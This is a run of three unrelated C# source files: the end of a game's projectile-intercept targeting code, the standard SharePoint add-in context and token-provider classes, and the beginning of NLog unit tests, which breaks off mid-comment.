(shotVel + shooterVel) * timeToCollision; myTarget.FiringDirection = firingDirection; myTarget.ContactPoint = contactPoint; //Log.DebugLog(() => "invalid FiringDirection: " + myTarget.FiringDirection + ", shotSpeedOrth: " + shotSpeedOrth + // ", directionToTarget: " + directionToTarget + ", firingDirection: " + firingDirection, Logger.severity.FATAL, condition: !myTarget.FiringDirection.IsValid()); //Log.DebugLog(() => "invalid ContactPoint: " + myTarget.ContactPoint + ", timeToCollision: " + timeToCollision + // ", shotVel: " + shotVel + ", contactPoint: " + contactPoint, Logger.severity.FATAL, condition: !myTarget.ContactPoint.IsValid()); } } /// <remarks>From http://danikgames.com/blog/moving-target-intercept-in-3d/</remarks> public static bool FindInterceptVector(Vector3D shotOrigin, Vector3 shooterVel, Vector3D targetOrigin, Vector3 targetVel, float shotSpeed, bool tryHard, out Vector3 firingDirection, out Vector3D contactPoint) { Vector3 relativeVel = (targetVel - shooterVel); targetOrigin += relativeVel * Globals.UpdateDuration; Vector3 displacementToTarget = targetOrigin - shotOrigin; float distanceToTarget = displacementToTarget.Length(); Vector3 directionToTarget = displacementToTarget / distanceToTarget; // Decompose the target's velocity into the part parallel to the // direction to the cannon and the part tangential to it. // The part towards the cannon is found by projecting the target's // velocity on directionToTarget using a dot product. float targetSpeedOrth = Vector3.Dot(relativeVel, directionToTarget); Vector3 relativeVelOrth = targetSpeedOrth * directionToTarget; // The tangential part is then found by subtracting the // result from the target velocity. Vector3 relativeVelTang = relativeVel - relativeVelOrth; // The tangential component of the velocities should be the same // (or there is no chance to hit) // THIS IS THE MAIN INSIGHT! Vector3 shotVelTang = relativeVelTang; if (tryHard) shotVelTang *= 3f; // Now all we have to find is the orthogonal velocity of the shot float shotVelSpeedSquared = shotVelTang.LengthSquared(); if (shotVelSpeedSquared > shotSpeed * shotSpeed) { // Shot is too slow to intercept target. if (tryHard) { // direction is a trade-off between facing the target and fighting tangential velocity Vector3 direction = directionToTarget + displacementToTarget * 0.01f + shotVelTang; direction.Normalize(); firingDirection = direction; contactPoint = shotOrigin + direction * distanceToTarget; return true; } firingDirection = Vector3.Zero; contactPoint = Vector3D.Zero; return false; } else { // We know the shot speed, and the tangential velocity. // Using pythagoras we can find the orthogonal velocity. float shotSpeedOrth = (float)Math.Sqrt(shotSpeed * shotSpeed - shotVelSpeedSquared); Vector3 shotVelOrth = directionToTarget * shotSpeedOrth; // Finally, add the tangential and orthogonal velocities. firingDirection = Vector3.Normalize(shotVelOrth + shotVelTang); // Find the time of collision (distance / relative velocity) float timeToCollision = distanceToTarget / (shotSpeedOrth - targetSpeedOrth); // Calculate where the shot will be at the time of collision Vector3 shotVel = shotVelOrth + shotVelTang; contactPoint = shotOrigin + (shotVel + shooterVel) * timeToCollision; return true; } } #endregion private bool CanConsiderHostile(IMyEntity target) { return CubeBlock.canConsiderHostile(target, !Options.FlagSet(TargetingFlags.IgnoreOwnerless)); } } }
using Microsoft.IdentityModel.S2S.Protocols.OAuth2; using Microsoft.IdentityModel.Tokens; using Microsoft.SharePoint.Client; using System; using System.Net; using System.Security.Principal; using System.Web; using System.Web.Configuration; namespace BusinessApps.O365ProjectsApp.Infrastructure { /// <summary> /// Encapsulates all the information from SharePoint. /// </summary> public abstract class SharePointContext { public const string SPHostUrlKey = "SPHostUrl"; public const string SPAppWebUrlKey = "SPAppWebUrl"; public const string SPLanguageKey = "SPLanguage"; public const string SPClientTagKey = "SPClientTag"; public const string SPProductNumberKey = "SPProductNumber"; protected static readonly TimeSpan AccessTokenLifetimeTolerance = TimeSpan.FromMinutes(5.0); private readonly Uri spHostUrl; private readonly Uri spAppWebUrl; private readonly string spLanguage; private readonly string spClientTag; private readonly string spProductNumber; // <AccessTokenString, UtcExpiresOn> protected Tuple<string, DateTime> userAccessTokenForSPHost; protected Tuple<string, DateTime> userAccessTokenForSPAppWeb; protected Tuple<string, DateTime> appOnlyAccessTokenForSPHost; protected Tuple<string, DateTime> appOnlyAccessTokenForSPAppWeb; /// <summary> /// Gets the SharePoint host url from QueryString of the specified HTTP request. /// </summary> /// <param name="httpRequest">The specified HTTP request.</param> /// <returns>The SharePoint host url. Returns <c>null</c> if the HTTP request doesn't contain the SharePoint host url.</returns> public static Uri GetSPHostUrl(HttpRequestBase httpRequest) { if (httpRequest == null) { throw new ArgumentNullException("httpRequest"); } string spHostUrlString = TokenHelper.EnsureTrailingSlash(httpRequest.QueryString[SPHostUrlKey]); Uri spHostUrl; if (Uri.TryCreate(spHostUrlString, UriKind.Absolute, out spHostUrl) && (spHostUrl.Scheme == Uri.UriSchemeHttp || spHostUrl.Scheme == Uri.UriSchemeHttps)) { return spHostUrl; } return null; } /// <summary> /// Gets the SharePoint host url from QueryString of the specified HTTP request. /// </summary> /// <param name="httpRequest">The specified HTTP request.</param> /// <returns>The SharePoint host url. Returns <c>null</c> if the HTTP request doesn't contain the SharePoint host url.</returns> public static Uri GetSPHostUrl(HttpRequest httpRequest) { return GetSPHostUrl(new HttpRequestWrapper(httpRequest)); } /// <summary> /// The SharePoint host url. /// </summary> public Uri SPHostUrl { get { return this.spHostUrl; } } /// <summary> /// The SharePoint app web url. /// </summary> public Uri SPAppWebUrl { get { return this.spAppWebUrl; } } /// <summary> /// The SharePoint language. /// </summary> public string SPLanguage { get { return this.spLanguage; } } /// <summary> /// The SharePoint client tag. /// </summary> public string SPClientTag { get { return this.spClientTag; } } /// <summary> /// The SharePoint product number. /// </summary> public string SPProductNumber { get { return this.spProductNumber; } } /// <summary> /// The user access token for the SharePoint host. /// </summary> public abstract string UserAccessTokenForSPHost { get; } /// <summary> /// The user access token for the SharePoint app web. /// </summary> public abstract string UserAccessTokenForSPAppWeb { get; } /// <summary> /// The app only access token for the SharePoint host. /// </summary> public abstract string AppOnlyAccessTokenForSPHost { get; } /// <summary> /// The app only access token for the SharePoint app web. /// </summary> public abstract string AppOnlyAccessTokenForSPAppWeb { get; } /// <summary> /// Constructor. /// </summary> /// <param name="spHostUrl">The SharePoint host url.</param> /// <param name="spAppWebUrl">The SharePoint app web url.</param> /// <param name="spLanguage">The SharePoint language.</param> /// <param name="spClientTag">The SharePoint client tag.</param> /// <param name="spProductNumber">The SharePoint product number.</param> protected SharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber) { if (spHostUrl == null) { throw new ArgumentNullException("spHostUrl"); } if (string.IsNullOrEmpty(spLanguage)) { throw new ArgumentNullException("spLanguage"); } if (string.IsNullOrEmpty(spClientTag)) { throw new ArgumentNullException("spClientTag"); } if (string.IsNullOrEmpty(spProductNumber)) { throw new ArgumentNullException("spProductNumber"); } this.spHostUrl = spHostUrl; this.spAppWebUrl = spAppWebUrl; this.spLanguage = spLanguage; this.spClientTag = spClientTag; this.spProductNumber = spProductNumber; } /// <summary> /// Creates a user ClientContext for the SharePoint host. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateUserClientContextForSPHost() { return CreateClientContext(this.SPHostUrl, this.UserAccessTokenForSPHost); } /// <summary> /// Creates a user ClientContext for the SharePoint app web. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateUserClientContextForSPAppWeb() { return CreateClientContext(this.SPAppWebUrl, this.UserAccessTokenForSPAppWeb); } /// <summary> /// Creates app only ClientContext for the SharePoint host. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateAppOnlyClientContextForSPHost() { return CreateClientContext(this.SPHostUrl, this.AppOnlyAccessTokenForSPHost); } /// <summary> /// Creates an app only ClientContext for the SharePoint app web. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateAppOnlyClientContextForSPAppWeb() { return CreateClientContext(this.SPAppWebUrl, this.AppOnlyAccessTokenForSPAppWeb); } /// <summary> /// Gets the database connection string from SharePoint for autohosted app. /// This method is deprecated because the autohosted option is no longer available. /// </summary> [ObsoleteAttribute("This method is deprecated because the autohosted option is no longer available.", true)] public string GetDatabaseConnectionString() { throw new NotSupportedException("This method is deprecated because the autohosted option is no longer available."); } /// <summary> /// Determines if the specified access token is valid. /// It considers an access token as not valid if it is null, or it has expired. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <returns>True if the access token is valid.</returns> protected static bool IsAccessTokenValid(Tuple<string, DateTime> accessToken) { return accessToken != null && !string.IsNullOrEmpty(accessToken.Item1) && accessToken.Item2 > DateTime.UtcNow; } /// <summary> /// Creates a ClientContext with the specified SharePoint site url and the access token. /// </summary> /// <param name="spSiteUrl">The site url.</param> /// <param name="accessToken">The access token.</param> /// <returns>A ClientContext instance.</returns> private static ClientContext CreateClientContext(Uri spSiteUrl, string accessToken) { if (spSiteUrl != null && !string.IsNullOrEmpty(accessToken)) { return TokenHelper.GetClientContextWithAccessToken(spSiteUrl.AbsoluteUri, accessToken); } return null; } } /// <summary> /// Redirection status. /// </summary> public enum RedirectionStatus { Ok, ShouldRedirect, CanNotRedirect } /// <summary> /// Provides SharePointContext instances. /// </summary> public abstract class SharePointContextProvider { private static SharePointContextProvider current; /// <summary> /// The current SharePointContextProvider instance. /// </summary> public static SharePointContextProvider Current { get { return SharePointContextProvider.current; } } /// <summary> /// Initializes the default SharePointContextProvider instance. /// </summary> static SharePointContextProvider() { if (!TokenHelper.IsHighTrustApp()) { SharePointContextProvider.current = new SharePointAcsContextProvider(); } else { SharePointContextProvider.current = new SharePointHighTrustContextProvider(); } } /// <summary> /// Registers the specified SharePointContextProvider instance as current. /// It should be called by Application_Start() in Global.asax. /// </summary> /// <param name="provider">The SharePointContextProvider to be set as current.</param> public static void Register(SharePointContextProvider provider) { if (provider == null) { throw new ArgumentNullException("provider"); } SharePointContextProvider.current = provider; } /// <summary> /// Checks if it is necessary to redirect to SharePoint for user to authenticate. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <param name="redirectUrl">The redirect url to SharePoint if the status is ShouldRedirect. <c>Null</c> if the status is Ok or CanNotRedirect.</param> /// <returns>Redirection status.</returns> public static RedirectionStatus CheckRedirectionStatus(HttpContextBase httpContext, out Uri redirectUrl) { if (httpContext == null) { throw new ArgumentNullException("httpContext"); } redirectUrl = null; bool contextTokenExpired = false; try { if (SharePointContextProvider.Current.GetSharePointContext(httpContext) != null) { return RedirectionStatus.Ok; } } catch (SecurityTokenExpiredException) { contextTokenExpired = true; } const string SPHasRedirectedToSharePointKey = "SPHasRedirectedToSharePoint"; if (!string.IsNullOrEmpty(httpContext.Request.QueryString[SPHasRedirectedToSharePointKey]) && !contextTokenExpired) { return RedirectionStatus.CanNotRedirect; } Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); if (spHostUrl == null) { return RedirectionStatus.CanNotRedirect; } if (StringComparer.OrdinalIgnoreCase.Equals(httpContext.Request.HttpMethod, "POST")) { return RedirectionStatus.CanNotRedirect; } Uri requestUrl = httpContext.Request.Url; var queryNameValueCollection = HttpUtility.ParseQueryString(requestUrl.Query); // Removes the values that are included in {StandardTokens}, as {StandardTokens} will be inserted at the beginning of the query string. queryNameValueCollection.Remove(SharePointContext.SPHostUrlKey); queryNameValueCollection.Remove(SharePointContext.SPAppWebUrlKey); queryNameValueCollection.Remove(SharePointContext.SPLanguageKey); queryNameValueCollection.Remove(SharePointContext.SPClientTagKey); queryNameValueCollection.Remove(SharePointContext.SPProductNumberKey); // Adds SPHasRedirectedToSharePoint=1. queryNameValueCollection.Add(SPHasRedirectedToSharePointKey, "1"); UriBuilder returnUrlBuilder = new UriBuilder(requestUrl); returnUrlBuilder.Query = queryNameValueCollection.ToString(); // Inserts StandardTokens. const string StandardTokens = "{StandardTokens}"; string returnUrlString = returnUrlBuilder.Uri.AbsoluteUri; returnUrlString = returnUrlString.Insert(returnUrlString.IndexOf("?") + 1, StandardTokens + "&"); // Constructs redirect url. string redirectUrlString = TokenHelper.GetAppContextTokenRequestUrl(spHostUrl.AbsoluteUri, Uri.EscapeDataString(returnUrlString)); redirectUrl = new Uri(redirectUrlString, UriKind.Absolute); return RedirectionStatus.ShouldRedirect; } /// <summary> /// Checks if it is necessary to redirect to SharePoint for user to authenticate. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <param name="redirectUrl">The redirect url to SharePoint if the status is ShouldRedirect. <c>Null</c> if the status is Ok or CanNotRedirect.</param> /// <returns>Redirection status.</returns> public static RedirectionStatus CheckRedirectionStatus(HttpContext httpContext, out Uri redirectUrl) { return CheckRedirectionStatus(new HttpContextWrapper(httpContext), out redirectUrl); } /// <summary> /// Creates a SharePointContext instance with the specified HTTP request. /// </summary> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> public SharePointContext CreateSharePointContext(HttpRequestBase httpRequest) { if (httpRequest == null) { throw new ArgumentNullException("httpRequest"); } // SPHostUrl Uri spHostUrl = SharePointContext.GetSPHostUrl(httpRequest); if (spHostUrl == null) { return null; } // SPAppWebUrl string spAppWebUrlString = TokenHelper.EnsureTrailingSlash(httpRequest.QueryString[SharePointContext.SPAppWebUrlKey]); Uri spAppWebUrl; if (!Uri.TryCreate(spAppWebUrlString, UriKind.Absolute, out spAppWebUrl) || !(spAppWebUrl.Scheme == Uri.UriSchemeHttp || spAppWebUrl.Scheme == Uri.UriSchemeHttps)) { spAppWebUrl = null; } // SPLanguage string spLanguage = httpRequest.QueryString[SharePointContext.SPLanguageKey]; if (string.IsNullOrEmpty(spLanguage)) { return null; } // SPClientTag string spClientTag = httpRequest.QueryString[SharePointContext.SPClientTagKey]; if (string.IsNullOrEmpty(spClientTag)) { return null; } // SPProductNumber string spProductNumber = httpRequest.QueryString[SharePointContext.SPProductNumberKey]; if (string.IsNullOrEmpty(spProductNumber)) { return null; } return CreateSharePointContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, httpRequest); } /// <summary> /// Creates a SharePointContext instance with the specified HTTP request. /// </summary> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> public SharePointContext CreateSharePointContext(HttpRequest httpRequest) { return CreateSharePointContext(new HttpRequestWrapper(httpRequest)); } /// <summary> /// Gets a SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found and a new instance can't be created.</returns> public SharePointContext GetSharePointContext(HttpContextBase httpContext) { if (httpContext == null) { throw new ArgumentNullException("httpContext"); } Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); if (spHostUrl == null) { return null; } SharePointContext spContext = LoadSharePointContext(httpContext); if (spContext == null || !ValidateSharePointContext(spContext, httpContext)) { spContext = CreateSharePointContext(httpContext.Request); if (spContext != null) { SaveSharePointContext(spContext, httpContext); } } return spContext; } /// <summary> /// Gets a SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found and a new instance can't be created.</returns> public SharePointContext GetSharePointContext(HttpContext httpContext) { return GetSharePointContext(new HttpContextWrapper(httpContext)); } /// <summary> /// Creates a SharePointContext instance. /// </summary> /// <param name="spHostUrl">The SharePoint host url.</param> /// <param name="spAppWebUrl">The SharePoint app web url.</param> /// <param name="spLanguage">The SharePoint language.</param> /// <param name="spClientTag">The SharePoint client tag.</param> /// <param name="spProductNumber">The SharePoint product number.</param> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> protected abstract SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest); /// <summary> /// Validates if the given SharePointContext can be used with the specified HTTP context. /// </summary> /// <param name="spContext">The SharePointContext.</param> /// <param name="httpContext">The HTTP context.</param> /// <returns>True if the given SharePointContext can be used with the specified HTTP context.</returns> protected abstract bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext); /// <summary> /// Loads the SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found.</returns> protected abstract SharePointContext LoadSharePointContext(HttpContextBase httpContext); /// <summary> /// Saves the specified SharePointContext instance associated with the specified HTTP context. /// <c>null</c> is accepted for clearing the SharePointContext instance associated with the HTTP context. /// </summary> /// <param name="spContext">The SharePointContext instance to be saved, or <c>null</c>.</param> /// <param name="httpContext">The HTTP context.</param> protected abstract void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext); } #region ACS /// <summary> /// Encapsulates all the information from SharePoint in ACS mode. /// </summary> public class SharePointAcsContext : SharePointContext { private readonly string contextToken; private readonly SharePointContextToken contextTokenObj; /// <summary> /// The context token. /// </summary> public string ContextToken { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextToken : null; } } /// <summary> /// The context token's "CacheKey" claim. /// </summary> public string CacheKey { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextTokenObj.CacheKey : null; } } /// <summary> /// The context token's "refreshtoken" claim. /// </summary> public string RefreshToken { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextTokenObj.RefreshToken : null; } } public override string UserAccessTokenForSPHost { get { return GetAccessTokenString(ref this.userAccessTokenForSPHost, () => TokenHelper.GetAccessToken(this.contextTokenObj, this.SPHostUrl.Authority)); } } public override string UserAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.userAccessTokenForSPAppWeb, () => TokenHelper.GetAccessToken(this.contextTokenObj, this.SPAppWebUrl.Authority)); } } public override string AppOnlyAccessTokenForSPHost { get { return GetAccessTokenString(ref this.appOnlyAccessTokenForSPHost, () => TokenHelper.GetAppOnlyAccessToken(TokenHelper.SharePointPrincipal, this.SPHostUrl.Authority, TokenHelper.GetRealmFromTargetUrl(this.SPHostUrl))); } } public override string AppOnlyAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.appOnlyAccessTokenForSPAppWeb, () => TokenHelper.GetAppOnlyAccessToken(TokenHelper.SharePointPrincipal, this.SPAppWebUrl.Authority, TokenHelper.GetRealmFromTargetUrl(this.SPAppWebUrl))); } } public SharePointAcsContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, string contextToken, SharePointContextToken contextTokenObj) : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber) { if (string.IsNullOrEmpty(contextToken)) { throw new ArgumentNullException("contextToken"); } if (contextTokenObj == null) { throw new ArgumentNullException("contextTokenObj"); } this.contextToken = contextToken; this.contextTokenObj = contextTokenObj; } /// <summary> /// Ensures the access token is valid and returns it. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> /// <returns>The access token string.</returns> private static string GetAccessTokenString(ref Tuple<string, DateTime> accessToken, Func<OAuth2AccessTokenResponse> tokenRenewalHandler) { RenewAccessTokenIfNeeded(ref accessToken, tokenRenewalHandler); return IsAccessTokenValid(accessToken) ? accessToken.Item1 : null; } /// <summary> /// Renews the access token if it is not valid. /// </summary> /// <param name="accessToken">The access token to renew.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> private static void RenewAccessTokenIfNeeded(ref Tuple<string, DateTime> accessToken, Func<OAuth2AccessTokenResponse> tokenRenewalHandler) { if (IsAccessTokenValid(accessToken)) { return; } try { OAuth2AccessTokenResponse oAuth2AccessTokenResponse = tokenRenewalHandler(); DateTime expiresOn = oAuth2AccessTokenResponse.ExpiresOn; if ((expiresOn - oAuth2AccessTokenResponse.NotBefore) > AccessTokenLifetimeTolerance) { // Make the access token get renewed a bit earlier than the time when it expires // so that the calls to SharePoint with it will have enough time to complete successfully. expiresOn -= AccessTokenLifetimeTolerance; } accessToken = Tuple.Create(oAuth2AccessTokenResponse.AccessToken, expiresOn); } catch (WebException) { } } } /// <summary> /// Default provider for SharePointAcsContext. /// </summary> public class SharePointAcsContextProvider : SharePointContextProvider { private const string SPContextKey = "SPContext"; private const string SPCacheKeyKey = "SPCacheKey"; protected override SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest) { string contextTokenString = TokenHelper.GetContextTokenFromRequest(httpRequest); if (string.IsNullOrEmpty(contextTokenString)) { return null; } SharePointContextToken contextToken = null; try { contextToken = TokenHelper.ReadAndValidateContextToken(contextTokenString, httpRequest.Url.Authority); } catch (WebException) { return null; } catch (AudienceUriValidationFailedException) { return null; } return new SharePointAcsContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, contextTokenString, contextToken); } protected override bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointAcsContext spAcsContext = spContext as SharePointAcsContext; if (spAcsContext != null) { Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); string contextToken = TokenHelper.GetContextTokenFromRequest(httpContext.Request); HttpCookie spCacheKeyCookie = httpContext.Request.Cookies[SPCacheKeyKey]; string spCacheKey = spCacheKeyCookie != null ? spCacheKeyCookie.Value : null; return spHostUrl == spAcsContext.SPHostUrl && !string.IsNullOrEmpty(spAcsContext.CacheKey) && spCacheKey == spAcsContext.CacheKey && !string.IsNullOrEmpty(spAcsContext.ContextToken) && (string.IsNullOrEmpty(contextToken) || contextToken == spAcsContext.ContextToken); } return false; } protected override SharePointContext LoadSharePointContext(HttpContextBase httpContext) { return httpContext.Session[SPContextKey] as SharePointAcsContext; } protected override void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointAcsContext spAcsContext = spContext as SharePointAcsContext; if (spAcsContext != null) { HttpCookie spCacheKeyCookie = new HttpCookie(SPCacheKeyKey) { Value = spAcsContext.CacheKey, Secure = true, HttpOnly = true }; httpContext.Response.AppendCookie(spCacheKeyCookie); } httpContext.Session[SPContextKey] = spAcsContext; } } #endregion ACS #region HighTrust /// <summary> /// Encapsulates all the information from SharePoint in HighTrust mode. /// </summary> public class SharePointHighTrustContext : SharePointContext { private readonly WindowsIdentity logonUserIdentity; /// <summary> /// The Windows identity for the current user. /// </summary> public WindowsIdentity LogonUserIdentity { get { return this.logonUserIdentity; } } public override string UserAccessTokenForSPHost { get { return GetAccessTokenString(ref this.userAccessTokenForSPHost, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPHostUrl, this.LogonUserIdentity)); } } public override string UserAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.userAccessTokenForSPAppWeb, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPAppWebUrl, this.LogonUserIdentity)); } } public override string AppOnlyAccessTokenForSPHost { get { return GetAccessTokenString(ref this.appOnlyAccessTokenForSPHost, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPHostUrl, null)); } } public override string AppOnlyAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.appOnlyAccessTokenForSPAppWeb, () => TokenHelper.GetS2SAccessTokenWithWindowsIdentity(this.SPAppWebUrl, null)); } } public SharePointHighTrustContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, WindowsIdentity logonUserIdentity) : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber) { if (logonUserIdentity == null) { throw new ArgumentNullException("logonUserIdentity"); } this.logonUserIdentity = logonUserIdentity; } /// <summary> /// Ensures the access token is valid and returns it. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> /// <returns>The access token string.</returns> private static string GetAccessTokenString(ref Tuple<string, DateTime> accessToken, Func<string> tokenRenewalHandler) { RenewAccessTokenIfNeeded(ref accessToken, tokenRenewalHandler); return IsAccessTokenValid(accessToken) ? accessToken.Item1 : null; } /// <summary> /// Renews the access token if it is not valid. /// </summary> /// <param name="accessToken">The access token to renew.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> private static void RenewAccessTokenIfNeeded(ref Tuple<string, DateTime> accessToken, Func<string> tokenRenewalHandler) { if (IsAccessTokenValid(accessToken)) { return; } DateTime expiresOn = DateTime.UtcNow.Add(TokenHelper.HighTrustAccessTokenLifetime); if (TokenHelper.HighTrustAccessTokenLifetime > AccessTokenLifetimeTolerance) { // Make the access token get renewed a bit earlier than the time when it expires // so that the calls to SharePoint with it will have enough time to complete successfully. expiresOn -= AccessTokenLifetimeTolerance; } accessToken = Tuple.Create(tokenRenewalHandler(), expiresOn); } } /// <summary> /// Default provider for SharePointHighTrustContext. /// </summary> public class SharePointHighTrustContextProvider : SharePointContextProvider { private const string SPContextKey = "SPContext"; protected override SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest) { WindowsIdentity logonUserIdentity = httpRequest.LogonUserIdentity; if (logonUserIdentity == null || !logonUserIdentity.IsAuthenticated || logonUserIdentity.IsGuest || logonUserIdentity.User == null) { return null; } return new SharePointHighTrustContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, logonUserIdentity); } protected override bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointHighTrustContext spHighTrustContext = spContext as SharePointHighTrustContext; if (spHighTrustContext != null) { Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); WindowsIdentity logonUserIdentity = httpContext.Request.LogonUserIdentity; return spHostUrl == spHighTrustContext.SPHostUrl && logonUserIdentity != null && logonUserIdentity.IsAuthenticated && !logonUserIdentity.IsGuest && logonUserIdentity.User == spHighTrustContext.LogonUserIdentity.User; } return false; } protected override SharePointContext LoadSharePointContext(HttpContextBase httpContext) { return httpContext.Session[SPContextKey] as SharePointHighTrustContext; } protected override void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { httpContext.Session[SPContextKey] = spContext as SharePointHighTrustContext; } } #endregion HighTrust }
// // Copyright (c) 2004-2016 Jaroslaw Kowalski <jaak@jkowalski.net>, Kim Christensen, Julian Verdurmen // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // #if !SILVERLIGHT namespace NLog.UnitTests { using System; using System.IO; using System.Threading; using System.Reflection; using Xunit; using NLog.Config; public class LogFactoryTests : NLogTestBase { [Fact] public void Flush_DoNotThrowExceptionsAndTimeout_DoesNotThrow() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog throwExceptions='false'> <targets><target type='MethodCall' name='test' methodName='Throws' className='NLog.UnitTests.LogFactoryTests, NLog.UnitTests.netfx40' /></targets> <rules> <logger name='*' minlevel='Debug' writeto='test'></logger> </rules> </nlog>"); ILogger logger = LogManager.GetCurrentClassLogger(); logger.Factory.Flush(_ => { }, TimeSpan.FromMilliseconds(1)); } [Fact] public void InvalidXMLConfiguration_DoesNotThrowErrorWhen_ThrowExceptionFlagIsNotSet() { LogManager.ThrowExceptions = false; LogManager.Configuration = CreateConfigurationFromString(@" <nlog internalLogToConsole='IamNotBooleanValue'> <targets><target type='MethodCall' name='test' methodName='Throws' className='NLog.UnitTests.LogFactoryTests, NLog.UnitTests.netfx40' /></targets> <rules> <logger name='*' minlevel='Debug' writeto='test'></logger> </rules> </nlog>"); } [Fact] public void InvalidXMLConfiguration_ThrowErrorWhen_ThrowExceptionFlagIsSet() { Boolean ExceptionThrown = false; try { LogManager.ThrowExceptions = true; LogManager.Configuration = CreateConfigurationFromString(@" <nlog internalLogToConsole='IamNotBooleanValue'> <targets><target type='MethodCall' name='test' methodName='Throws' className='NLog.UnitTests.LogFactoryTests, NLog.UnitTests.netfx40' /></targets> <rules> <logger name='*' minlevel='Debug' writeto='test'></logger> </rules> </nlog>"); } catch (Exception) { ExceptionThrown = true; } Assert.True(ExceptionThrown); } [Fact] public void SecondaryLogFactoryDoesNotTakePrimaryLogFactoryLock() { File.WriteAllText("NLog.config", "<nlog />"); try { bool threadTerminated; var primaryLogFactory = typeof(LogManager).GetField("factory", BindingFlags.Static | BindingFlags.NonPublic).GetValue(null); var primaryLogFactoryLock = typeof(LogFactory).GetField("syncRoot", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(primaryLogFactory); // Simulate a potential deadlock. // If the creation of the new LogFactory takes the lock of the global 